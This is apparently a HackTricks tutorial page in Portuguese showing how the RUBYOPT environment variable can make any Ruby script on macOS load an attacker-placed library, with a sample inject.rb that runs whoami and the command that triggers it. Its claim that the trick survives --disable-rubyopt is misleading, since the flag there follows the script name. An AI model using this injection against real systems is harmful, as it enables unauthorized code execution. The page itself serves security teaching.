Injeção de Aplicações Ruby no macOS

Reading time: 2 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RUBYOPT

Usando essa variável de ambiente, é possível adicionar novos parâmetros ao ruby sempre que ele for executado. Embora o parâmetro -e não possa ser usado para especificar código ruby a ser executado, é possível usar os parâmetros -I e -r para adicionar uma nova pasta ao caminho de bibliotecas a serem carregadas e então especificar uma biblioteca para carregar.

Crie a biblioteca inject.rb em /tmp:

inject.rb
puts `whoami`

Crie um script Ruby em qualquer lugar como:

hello.rb
puts 'Hello, World!'

Então, faça um script ruby arbitrário carregá-lo com:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fato curioso, funciona mesmo com o parâmetro --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks